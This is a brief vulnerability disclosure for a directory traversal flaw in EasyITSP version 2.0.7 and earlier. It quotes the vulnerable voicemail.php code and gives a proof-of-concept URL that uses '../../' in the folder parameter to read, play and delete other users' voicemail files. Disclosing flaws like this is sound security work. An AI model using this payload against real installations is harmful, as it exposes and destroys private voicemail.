Directory Traversal - EasyITSP <= 2.0.7

EasyITSP - Telephone System VoIP

https://blaszczakm.blogspot.com
Michal Blaszczak

Search/Read/Delete filetype *.txt
Search/Play/Delete filetype *.wav - Voicemail

file: voicemail.php line: 220

foreach (glob("$vmdir/$_SESSION[phone]/$vmfolder/*.txt") as $filename) {

file: voicemail.php line: 186 - 190

if(isset($_GET['folder'])) {
$vmfolder = $_GET['folder'];
} else {
$vmfolder = "INBOX";
}

POC:
https:///easyitsp/WEB/customer/voicemail.php?currentpage=phones&folder=../../

Michał Błaszczak
https://blaszczakm.blogspot.com